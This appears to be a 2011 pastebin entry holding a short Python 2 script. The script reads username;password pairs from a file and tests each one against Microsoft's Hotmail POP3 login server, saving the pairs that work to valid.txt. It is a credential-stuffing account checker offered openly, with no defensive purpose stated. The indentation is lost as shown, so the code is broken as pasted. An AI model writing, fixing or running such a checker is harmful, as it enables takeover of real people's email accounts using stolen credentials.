
Untitled
By: a guest on
Nov 11th, 2011 | syntax:
Python | size: 0.54 KB | hits: 9,357 | expires: Never
#testpwd.py
import poplib
pwlist = open('passwd.txt').readlines()
for pair in pwlist:
valid = open('valid.txt', 'a')
un, pw = pair.strip().split(';')
try:
M = poplib.POP3_SSL('pop3.live.com', 995)
print M.user(un)
except:
print 'Connection error'
try:
pwmsg = M.pass_(pw)
print pwmsg
if pwmsg[0:3] == '+OK':
valid.write(';'.join([un, pw+'\n']))
print 'Valid account:', un, 'found.'
M.quit()
except:
print 'Invalid account:', un
valid.close()
print 'Finished'